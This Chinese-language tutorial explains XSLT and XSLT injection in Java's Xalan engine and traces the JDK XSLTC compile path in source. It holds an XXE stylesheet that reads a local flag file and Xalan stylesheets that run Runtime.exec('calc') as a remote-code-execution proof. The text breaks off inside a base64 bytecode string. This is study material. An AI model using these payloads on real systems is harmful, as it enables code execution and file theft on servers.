介绍
XSLT 用于将一种 XML 文档转换为另外一种 XML 文档,或者可被浏览器识别的其他类型的文档,比如 HTML 和 XHTML。通常,XSLT 是通过把每个 XML 元素转换为 (X)HTML 元素来完成这项工作的。通过 XSLT,您可以向输出文件添加元素和属性,或从输出文件移除元素和属性。您也可重新排列并分类元素,执行测试并决定隐藏或显示哪个元素,等等。
如需访问 XSLT 的元素、属性以及特性,我们必须在文档顶端声明 XSLT 命名空间。
首先介绍一下什么是xslt,XSL是一种将XML文档进行转换的语言,作用就是将xml文件内容以xslt定义的格式来转化成其他文件,例如文本、html、csv等等
这里给个例子
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8" ?> <bookstore > <book > <title > Harry Potter</title > <author > J.K. Rowling</author > </book > </bookstore >
这是待转换的xml文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?xml version="1.0" encoding="UTF-8" ?> <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" > <xsl:template match ="/" > <html > <body > <h2 > Book List</h2 > <xsl:for-each select ="bookstore/book" > <p > <xsl:value-of select ="title" /> - <xsl:value-of select ="author" /> </p > </xsl:for-each > </body > </html > </xsl:template > </xsl:stylesheet >
这是转换使用的xslt文件,xslt其实也是xml文件,只不过他是用xsl标签规定了xml的格式
接着转换出来的结果见上,是一个html文件,到这里我们就已经大概知道了xslt的作用,就是起一个xml转化模版的作用,让xml按照我们制定的模版进行转化,报表功能、不同格式的数据导出、不同格式的数据导出、打印、邮件中常用到
XSL 包括三部分:
XSLT - 一种用于转换 XML 文档的语言。
XPath - 一种用于在 XML 文档中导航的语言。
XSL-FO - 一种用于格式化 XML 文档的语言。
XSLT注入介绍 简单来讲就是你可以控制或者部分控制xslt文件的内容,然后服务端按照你构造的xslt内容进行转化时执行了恶意代码从而rce,可以类似于ssti,毕竟都是起的渲染作用,只不过一个是xml语法一个是自己构造的语法
其中实现xslt转化这一功能的是xslt引擎,不同语言有不同的引擎,比如说java使用的就是Xalan
这个我们学反序列化的时候肯定熟悉的很,因为我们一直在用这个库里面的templateImpl类
当然还有其他引擎比如Microsoft XSLT、Saxon、Libxslt
当然XSL样式表文件实际上也是xml文件,所以他同样能够进行XXE攻击,下面举个例子
1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE dtd_sample [<!ENTITY ext_file SYSTEM "D:\download\flag.txt" > ]> <xsl:transform version ="2.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:saxon ="http://saxon.sf.net/" > <xsl:output method ="text" /> <xsl:template match ="/" > FileRead: &ext_file; Version: <xsl:value-of select ="system-property('xsl:version')" /> Vendor: <xsl:value-of select ="system-property('xsl:vendor')" /> Vendor URL: <xsl:value-of select ="system-property('xsl:vendor-url')" /> </xsl:template > </xsl:transform >
XSLT语法 1 2 3 4 5 6 7 8 <xsl:transform version ="2.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:saxon ="http://saxon.sf.net/" > <xsl:output method ="text" /> <xsl:template match ="/" > Version: <xsl:value-of select ="system-property('xsl:version')" /> Vendor: <xsl:value-of select ="system-property('xsl:vendor')" /> Vendor URL: <xsl:value-of select ="system-property('xsl:vendor-url')" /> </xsl:template > </xsl:transform >
XSLT的命名空间 首先使用了xmlns:xsl=”http://www.w3.org/1999/XSL/Transform" 引用了w3c的xsl命名空间,这样我们就能够使用xsl属性和标签了,至于具体xsl语法可以自己去搜一下,这里声明xsl样式表总共有两个方法
1 2 3 <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" > <xsl:transform version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" >
template xsl:template,xsl样式表由一个或者多个xsl:template组成,一个template相当于一个快,他可以通过match属性来匹配xml的某一节点,然后在该节点里面操作
属性
值
描述
name
name
可选。为模板定义名称。注释:如果省略该属性,则必须设置 match 属性。
match
pattern
可选。模板的匹配模式。注释:如果省略该属性,则必须设置 name 属性。
mode
mode
可选。为模板规定模式。
priority
number
可选。模板的优先级编号。
< xsl:template > 元素内部的内容定义了写到输出结果的 HTML 代码。
value-of < xsl:value-of > 元素用于提取某个选定节点的值,并把值添加到转换的输出流中
这就是一个取值的元素,其中select属性是一个xpath表达式,当然也可以用system-property或者命名空间的属性
属性
值
描述
select
expression
必需。XPath 表达式,规定了从哪个节点/属性来提取值。
disable-output-escaping
yesno
默认值为 “no”。如果值为 “yes”,通过实例化 xsl:text 元素生成的文本节点在输出时将不进行任何转义。 比如如果设置为 “yes”,则 “<” 将不进行转换。如果设置为 “no”,则被输出为 “<”。
for-each < xsl:for-each > 元素可用于选取指定的节点集中的每个 XML 元素。
直接看例子理解
output < xsl:output > 是 顶层元素 (top-level element),必须是 < xsl:stylesheet > 或 < xsl:transform > 的子节点。
1 2 3 4 5 6 7 8 9 10 11 <xsl:output method ="xml|html|text|name" version ="string" encoding ="string" omit-xml-declaration ="yes|no" standalone ="yes|no" doctype-public ="string" doctype-system ="string" cdata-section-elements ="namelist" indent ="yes|no" media-type ="string" />
属性
值
描述
method
xmlhtmltextname
可选。定义输出的格式。默认是 XML。Netscape 6 仅支持 “html” 和 “xml”。
version
string
可选。设置输出格式的 W3C 版本号。(仅在 method=”html” or method=”xml” 时使用)。
encoding
string
可选。设置输出中编码属性的值。
omit-xml-declaration
yesno
可选。 “yes” 规定在输出中省略 XML 声明 ()。 “no” 规定应在输出中包含 XML 声明。默认是 “no”。
standalone
yesno
可选。规定 XSLT 处理器是否应输出独立文档声明;该值必须为 yes 或 no。默认是 “no”。Netscape 6 不支持该属性。
doctype-public
string
可选。规定 DTD 中要使用的公共标识符。即输出中 DOCTYPE 声明的 PUBLIC 属性的值。
doctype-system
string
可选。规定 DTD 中要使用的系统标识符。即输出中 DOCTYPE 声明的 SYSTEM 属性的值。
cdata-section-elements
namelist
可选。一个空格分隔的元素列表,这些元素的文本内容应作为 CDATA 部分来输出。
indent
yesno
可选。在输出结果树时是否要增加空白;该值必须为 yes 或 no。Netscape 6 不支持该属性。
media-type
string
可选。定义输出的 MIME 类型(数据的媒体类型)。默认是 “text/xml”。Netscape 6 不支持该属性。
import < xsl:import > 元素是顶层元素,用于把一个样式表中的内容导入另一个样式表中。
该元素必须是 < xsl:stylesheet > 或 < xsl:transform > 的第一个子节点。
1 <xsl:import href ="URI" />
需要使用xsl:apply-imports/ 来应用规则
include
< xsl:include > 元素是顶层元素(top-level element),把一个样式表中的样式表内容包含到另一个样式表中。
1 <xsl:include href ="URI" />
variable
< xsl:variable > 元素用于声明局部或全局的变量。
如果被声明为顶层元素,则该变量是全局的,而如果在模板内声明,则变量是本地的。
如果被声明为顶层元素,则该变量是全局的,而如果在模板内声明,则变量是本地的。
您可以通过 < xsl:variable > 元素的内容或通过 select 属性,向变量添加值!
1 2 3 4 5 6 7 <xsl:variable name ="name" select ="expression" > </xsl:variable >
copy-of
< xsl:copy-of > 元素可创建当前节点的一个副本。
当前节点的 Namespace 节点、子节点以及属性都会被自动复制!
该元素可用于把相同节点的多个副本插入到输出的不同位置。
相当于引入
XSLT函数 system-property()
系统属性
说明
xsl:version
提供处理器所实现的 XSLT 版本的数字;如果 XSLT 处理器实现本文档所指定的 XSLT 版本,该数字为 1。
xsl:vendor
XSLT 处理器的开发商。
xsl:vendor-url
标识XSLT 处理器的开发商的 URL。
msxsl:version
提供 Microsoft XML 核心服务 (MSXML) 版本的数字。
document()
document() 函数用于访问外部 XML 文档中的节点。外部 XML 文档必须是合法且可解析的。
此函数提供了从 XSLT 样式表中检索由输入流提供的初始数据以外的其他 XML 资源的方法。
使用该函数的一种方式是是在一个外部文档中查找数据。举例来说,我们希望找到与华氏度值相对应的摄氏度值,我们访问了包含预计算值的文档:
1 <xsl:value-of select ="document('celsius.xml')/celsius/result[@value=$value]" />
相当于读取并解析一个xml,要求改文件是合法的,可以用来读取敏感信息
当然这里也可以用于远程连接
Xalan
Xalan 是一个开源的XML处理器,主要用于XSLT转换以及XPath查询。它最初是由Apache XML项目开发的一部分,其中包括了 Xalan-Java 和 Xalan-C++ 两个主要版本。Xalan-Java 是用Java语言编写的XSLT处理器,能够将XML文档转换为其他格式。
https://xalan.apache.org/
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?xml version="1.0" encoding="ISO-8859-1" ?> <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:fo ="http://www.w3.org/1999/XSL/Format" > <xsl:template match ="/" > <CClienti label ="{{0}} Trasformato" > <xsl:variable name ="abcd" select ="Runtime:exec(Runtime:getRuntime(),'calc')" xmlns:Runtime ="http://xml.apache.org/xalan/java/java.lang.Runtime" /> <xsl:variable name ="efgh" select ="jv:getInputStream($abcd)" xmlns:jv ="http://xml.apache.org/xalan/java" /> <xsl:variable name ="ijkl" select ="isr:new($efgh)" xmlns:isr ="http://xml.apache.org/xalan/java/java.io.InputStreamReader" /> <xsl:variable name ="mnop" select ="br:new($ijkl)" xmlns:br ="http://xml.apache.org/xalan/java/java.io.BufferedReader" /> <xsl:value-of select ="jv:readLine($mnop)" xmlns:jv ="http://xml.apache.org/xalan/java" /> <xsl:value-of select ="jv:readLine($mnop)" xmlns:jv ="http://xml.apache.org/xalan/java" /> </CClienti > </xsl:template > <xsl:template match ="@*|node()" > <xsl:copy > <xsl:apply-templates select ="@*|node()" /> </xsl:copy > </xsl:template > </xsl:stylesheet >
1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE dtd_sample [<!ENTITY ext_file SYSTEM "D:\download\flag.txt" > ]> <xsl:transform version ="2.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:saxon ="http://saxon.sf.net/" > <xsl:output method ="text" /> <xsl:template match ="/" > FileRead: &ext_file; Version: <xsl:value-of select ="system-property('xsl:version')" /> Vendor: <xsl:value-of select ="system-property('xsl:vendor')" /> Vendor URL: <xsl:value-of select ="system-property('xsl:vendor-url')" /> </xsl:template > </xsl:transform >
1 2 3 4 5 6 7 8 <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:rt ="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob ="http://xml.apache.org/xalan/java/java.lang.Object" > <xsl:template match ="/" > <xsl:variable name ="rtobject" select ="rt:getRuntime()" /> <xsl:variable name ="process" select ="rt:exec($rtobject,'calc')" /> <xsl:variable name ="processString" select ="ob:toString($process)" /> <xsl:value-of select ="$processString" /> </xsl:template > </xsl:stylesheet >
调试
首先通过TransformerFactory工厂类创建一个Transformer转化对象,我们跟进一下newTransformer看一下,xslt模版在这一步传入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 TemplatesImpl templates; if (_useClasspath) { String transletName = getTransletBaseName(source); if (_packageName != null ) transletName = _packageName + "." + transletName; try { final Class<?> clazz = ObjectFactory.findProviderClass(transletName, true ); resetTransientAttributes(); templates = new TemplatesImpl (new Class <?>[]{clazz}, transletName, null , _indentNumber, this ); if (_uriResolver != null ) { templates.setURIResolver(_uriResolver); } return templates; } catch (ClassNotFoundException cnfe) { ErrorMsg err = new ErrorMsg (ErrorMsg.CLASS_NOT_FOUND_ERR, transletName); throw new TransformerConfigurationException (err.toString()); } catch (Exception e) { ErrorMsg err = new ErrorMsg ( new ErrorMsg (ErrorMsg.RUNTIME_ERROR_KEY) + e.getMessage()); throw new TransformerConfigurationException (err.toString()); } } if (_autoTranslet) { byte [][] bytecodes; String transletClassName = getTransletBaseName(source); if (_packageName != null ) transletClassName = _packageName + "." + transletClassName; if (_jarFileName != null ) bytecodes = getBytecodesFromJar(source, transletClassName); else bytecodes = getBytecodesFromClasses(source, transletClassName); if (bytecodes != null ) { if (_debug) { if (_jarFileName != null ) System.err.println(new ErrorMsg ( ErrorMsg.TRANSFORM_WITH_JAR_STR, transletClassName, _jarFileName)); else System.err.println(new ErrorMsg ( ErrorMsg.TRANSFORM_WITH_TRANSLET_STR, transletClassName)); } resetTransientAttributes(); templates = new TemplatesImpl (bytecodes, transletClassName, null , _indentNumber, this ); if (_uriResolver != null ) { templates.setURIResolver(_uriResolver); } return templates; } } final XSLTC xsltc = new XSLTC (_xmlFeatures, _hasUserErrListener);if (_debug) xsltc.setDebug(true );if (_enableInlining) xsltc.setTemplateInlining(true ); else xsltc.setTemplateInlining(false ); if (!_isNotSecureProcessing) xsltc.setSecureProcessing(true );xsltc.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, _accessExternalStylesheet); xsltc.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, _accessExternalDTD); xsltc.setProperty(JdkConstants.SECURITY_MANAGER, _xmlSecurityManager); xsltc.setProperty(JdkConstants.JDK_EXT_CLASSLOADER, (_extensionClassLoader == null ) ? null : _extensionClassLoader.getValue()); buildCatalogFeatures(); xsltc.setProperty(JdkXmlFeatures.CATALOG_FEATURES, _catalogFeatures); xsltc.init(); if (!_isNotSecureProcessing) _xsltcExtensionFunctions = xsltc.getExternalExtensionFunctions(); if (_uriResolver != null || ( _catalogFiles != null && _xmlFeatures.getFeature(JdkXmlFeatures.XmlFeature.USE_CATALOG))) { xsltc.setSourceLoader(this ); } if ((_piParams != null ) && (_piParams.get(source) != null )) { PIParamWrapper p = _piParams.get(source); if (p != null ) { xsltc.setPIParameters(p._media, p._title, p._charset); } } int outputType = XSLTC.BYTEARRAY_OUTPUT;if (_generateTranslet || _autoTranslet) { xsltc.setClassName(getTransletBaseName(source)); if (_destinationDirectory != null ) xsltc.setDestDirectory(_destinationDirectory); else { String xslName = getStylesheetFileName(source); if (xslName != null ) { File xslFile = new File (xslName); String xslDir = xslFile.getParent(); if (xslDir != null ) xsltc.setDestDirectory(xslDir); } } if (_packageName != null ) xsltc.setPackageName(_packageName); if (_jarFileName != null ) { xsltc.setJarFileName(_jarFileName); outputType = XSLTC.BYTEARRAY_AND_JAR_OUTPUT; } else outputType = XSLTC.BYTEARRAY_AND_FILE_OUTPUT; } final InputSource input = Util.getInputSource(xsltc, source);byte [][] bytecodes = xsltc.compile(null , input, outputType);final String transletName = xsltc.getClassName();if ((_generateTranslet || _autoTranslet) && bytecodes != null && _jarFileName != null ) { try { xsltc.outputToJar(); } catch (java.io.IOException e) { } } resetTransientAttributes(); if (_errorListener != this ) { try { passWarningsToListener(xsltc.getWarnings()); } catch (TransformerException e) { throw new TransformerConfigurationException (e); } } else { xsltc.printWarnings(); } if (bytecodes == null ) { List<ErrorMsg> errs = xsltc.getErrors(); ErrorMsg err; if (errs != null ) { err = errs.get(errs.size()-1 ); } else { err = new ErrorMsg (ErrorMsg.JAXP_COMPILE_ERR); } Throwable cause = err.getCause(); TransformerConfigurationException exc; if (cause != null ) { exc = new TransformerConfigurationException (cause.getMessage(), cause); } else { exc = new TransformerConfigurationException (err.toString()); } if (_errorListener != null ) { passErrorsToListener(xsltc.getErrors()); try { _errorListener.fatalError(exc); } catch (TransformerException te) { } } else { xsltc.printErrors(); } throw exc; } templates = new TemplatesImpl (bytecodes, transletName, xsltc.getOutputProperties(), _indentNumber, this ); if (_uriResolver != null ) { templates.setURIResolver(_uriResolver); } return templates;
代码有点长,这里简单的分析一下
首先创建了一个XSLTC解析器对象,然后根据工厂类的属性来初始化XSLTC对象,前面类路径和自动tranlate就不讲了
接着编译xsl样式表,这里直接调用xsltc对象的compile方法将xlst源文件编译成了bytecodes字节码
接着重置每个会话属性到它们的默认值。将编译器的警告传递给错误监听器。
接着在返回之前进行检查
最后创建一个templatesImpl对象,这个构造函数大家一定太熟了
接着回到newTransformer,这里可以看到检查了一个feature_secure_processing,这个就是防御xml注入的参数,在这里也可以防御xslt注入
1 2 3 if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); }
所以这里的核心代码就是调用compile将xslt文件转化成JVM字节码,然后转化的时候其实就是调用该字节码的transform方法,所以后面流程我就简单带过一下,这里我们重点看看这个编译出来的字节码长什么样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 public boolean compile (InputSource input, String name) { try { reset(); String systemId = null ; if (input != null ) { systemId = input.getSystemId(); } if (_className == null ) { if (name != null ) { setClassName(name); } else if (systemId != null && !systemId.equals("" )) { setClassName(Util.baseName(systemId)); } if (_className == null || _className.length() == 0 ) { setClassName("GregorSamsa" ); } } SyntaxTreeNode element = null ; if (_reader == null ) { element = _parser.parse(input); } else { element = _parser.parse(_reader, input); } if ((!_parser.errorsFound()) && (element != null )) { _stylesheet = _parser.makeStylesheet(element); _stylesheet.setSourceLoader(_loader); _stylesheet.setSystemId(systemId); _stylesheet.setParentStylesheet(null ); _stylesheet.setTemplateInlining(_templateInlining); _parser.setCurrentStylesheet(_stylesheet); _parser.createAST(_stylesheet); } if ((!_parser.errorsFound()) && (_stylesheet != null )) { _stylesheet.setCallsNodeset(_callsNodeset); _stylesheet.setMultiDocument(_multiDocument); _stylesheet.setHasIdCall(_hasIdCall); synchronized (getClass()) { _stylesheet.translate(); } } } catch (Exception e) { if (_debug) e.printStackTrace(); if (ErrorMsg.XPATH_LIMIT.equals(e.getMessage())) { return !_parser.errorsFound(); } _parser.reportError(Constants.FATAL, new ErrorMsg (ErrorMsg.JAXP_COMPILE_ERR, e)); } catch (Error e) { if (_debug) e.printStackTrace(); _parser.reportError(Constants.FATAL, new ErrorMsg (ErrorMsg.JAXP_COMPILE_ERR, e)); } finally { _reader = null ; } return !_parser.errorsFound(); }
这个编译具体实现部分涉及抽象语法树AST生成等知识了,我也不会
这里直接使用调试大法将字节码通过base64的形式带出来
1 yv66vgADAC0AwAEAClNvdXJjZUZpbGUBAAABABtkaWUvdmVyd2FuZGx1bmcvR3JlZ29yU2Ftc2EHAAMBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAFAQAEX2RvbQEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEAP2NvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcgcACQEADHN0YXJ0RWxlbWVudAEAFShMamF2YS9sYW5nL1N0cmluZzspVgwACwAMCwAKAA0BAAplbmRFbGVtZW50DAAPAAwLAAoAEAEADGFkZEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspVgwAEgATCwAKABQBABJhZGRVbmlxdWVBdHRyaWJ1dGUBACgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7SSlWDAAWABcLAAoAGAEAGm5hbWVzcGFjZUFmdGVyU3RhcnRFbGVtZW50DAAaABMLAAoAGwEADXN0YXJ0RG9jdW1lbnQBAAMoKVYMAB0AHgsACgAfAQALZW5kRG9jdW1lbnQMACEAHgsACgAiAQAzY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yBwAkAQAMc2V0U3RhcnROb2RlAQA4KEkpTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsMACYAJwsAJQAoAQAFcmVzZXQBADcoKUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7DAAqACsLACUALAEABG5leHQBAAMoKUkMAC4ALwsAJQAwAQAQcmVzZXRQcmVmaXhJbmRleAwAMgAeAQA8Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQmFzaXNMaWJyYXJ5BwA0CgA1ADMBAA5hcHBseVRlbXBsYXRlcwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYMADcAOAoABAA5DAAHAAgJAAQAOwEADm1ha2VET01BZGFwdGVyAQBnKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOylMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL2RvbS9ET01BZGFwdGVyOwwAPQA+CgAGAD8BACtjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NBwBBAQALZ2V0SXRlcmF0b3IMAEMAKwsAQgBEAQAWdHJhbnNmZXJPdXRwdXRTZXR0aW5ncwEARChMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWDABGAEcKAAYASAEACWJ1aWxkS2V5cwEApyhMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7SSlWAQAEQ29kZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgcATQEACkV4Y2VwdGlvbnMMAEoASwoABABQAQAJc2V0RmlsdGVyAQA4KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvU3RyaXBGaWx0ZXI7KVYMAFIAUwsAQgBUAQAIdG9wTGV2ZWwMAFYAOAoABABXAQAJdHJhbnNmb3JtAQALZ2V0Q2hpbGRyZW4MAFoAJwsAQgBbAQAKY2hhcmFjdGVycwEARShJTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgwAXQBeCwBCAF8BAAlnZXRNb2R1bGUBABQoKUxqYXZhL2xhbmcvTW9kdWxlOwwAYQBiAQAPamF2YS9sYW5nL0NsYXNzBwBkCgBlAGMBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwAZwBoCgBlAGkBABtkaWUudmVyd2FuZGx1bmcuR3JlZ29yU2Ftc2EIAGsBABFqYXZhLmxhbmcuUnVudGltZQgAbQEACGFkZFJlYWRzAQAmKExqYXZhL2xhbmcvTW9kdWxlOylMamF2YS9sYW5nL01vZHVsZTsMAG8AcAEAEGphdmEvbGFuZy9Nb2R1bGUHAHIKAHMAcQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAHUAdgEAEWphdmEvbGFuZy9SdW50aW1lBwB4CgB5AHcBAARjYWxjCAB7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAfQB+CgB5AH8BABBqYXZhLmxhbmcuT2JqZWN0CACBAQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwwAgwCEAQAQamF2YS9sYW5nL09iamVjdAcAhgoAhwCFCAACAQALc2V0RXNjYXBpbmcBAAQoWilaDACKAIsLAAoAjAEAVihMamF2YS9sYW5nL1N0cmluZztMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWDABdAI4KAAYAjwEADnRlbXBsYXRlJGRvdCQwDACRAEsKAAQAkgEAEWdldEV4cGFuZGVkVHlwZUlEAQAEKEkpSQwAlACVCwBCAJYBAAxfc05hbWVzQXJyYXkBABNbTGphdmEvbGFuZy9TdHJpbmc7AQALX3NVcmlzQXJyYXkBAAxfc1R5cGVzQXJyYXkBAAJbSQEAEF9zTmFtZXNwYWNlQXJyYXkBABBqYXZhL2xhbmcvU3RyaW5nBwCeDACYAJkJAAQAoAwAmgCZCQAEAKIMAJsAnAkABACkDACdAJkJAAQApgEAC3RvQ2hhckFycmF5AQAEKClbQwwAqACpCgCfAKoBAAg8Y2xpbml0PgEABjxpbml0PgwArQAeCgAGAK4BAApuYW1lc0FycmF5DACwAJkJAAYAsQEACXVyaXNBcnJheQwAswCZCQAGALQBAAp0eXBlc0FycmF5DAC2AJwJAAYAtwEADm5hbWVzcGFjZUFycmF5DAC5AJkJAAYAugEAD3RyYW5zbGV0VmVyc2lvbgEAAUkMALwAvQkABgC+ACEABAAGAAAABQABAAcACAAAAAwAmACZAAAADACaAJkAAAAMAJsAnAAAAAwAnQCZAAAABwABAEoASwACAEwAAAANAAAABQAAAAGxAAAAAABPAAAABAABAE4AAQBWADgAAgBMAAAAGgABAAUAAAAOK7kARQEAuQAxAQA2BLEAAAAAAE8AAAAEAAEATgABAFkAOAACAEwAAABLAAQABQAAAD+4ADYqKiu2AEC1ADwruQBFAQC5ADEBADYEKi22AEkqKrQAPCwttgBYLbkAIAEAKiq0ADwsLbYAOi25ACMBALEAAAAAAE8AAAAEAAEATgABAJEASwABAEwAAABsAAMACAAAAGASbLgAarYAZhJuuABqtgBmtgB0V7gAejoFEmy4AGq2AGYSbrgAarYAZrYAdFcZBRJ8tgCAOgYSbLgAarYAZhKCuABqtgBmtgB0VxkGtgCIWccABlcSiToHKhkHLbYAkLEAAAAAABEANwA4AAIATAAAAKEABQAFAAAAlcgAAACDKxUEuQCXAgCqAAAAAAB2AAAAAAAAAA0AAABHAAAAVQAAAGgAAABoAAAAdgAAAHYAAAB2AAAAdgAAAHYAAABHAAAAdgAAAHYAAAB2AAAAdiorLC0VBLYAk8gAAAAmKisrFQS5AFwCAC22ADrIAAAAEysVBC25AGADAMgAAAAFLLkAMQEAWTYEmwAIyP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package XSLT;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.util.Base64;public class poc { public static void main (String[] args) throws IOException { String bytescodes = "yv66vgADAC0AwAEAClNvdXJjZUZpbGUBAAABABtkaWUvdmVyd2FuZGx1bmcvR3JlZ29yU2Ftc2EHAAMBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAFAQAEX2RvbQEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEAP2NvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcgcACQEADHN0YXJ0RWxlbWVudAEAFShMamF2YS9sYW5nL1N0cmluZzspVgwACwAMCwAKAA0BAAplbmRFbGVtZW50DAAPAAwLAAoAEAEADGFkZEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspVgwAEgATCwAKABQBABJhZGRVbmlxdWVBdHRyaWJ1dGUBACgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7SSlWDAAWABcLAAoAGAEAGm5hbWVzcGFjZUFmdGVyU3RhcnRFbGVtZW50DAAaABMLAAoAGwEADXN0YXJ0RG9jdW1lbnQBAAMoKVYMAB0AHgsACgAfAQALZW5kRG9jdW1lbnQMACEAHgsACgAiAQAzY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yBwAkAQAMc2V0U3RhcnROb2RlAQA4KEkpTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsMACYAJwsAJQAoAQAFcmVzZXQBADcoKUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7DAAqACsLACUALAEABG5leHQBAAMoKUkMAC4ALwsAJQAwAQAQcmVzZXRQcmVmaXhJbmRleAwAMgAeAQA8Y29tL3N1bi9vcmcvYXBhY2hlL3hhb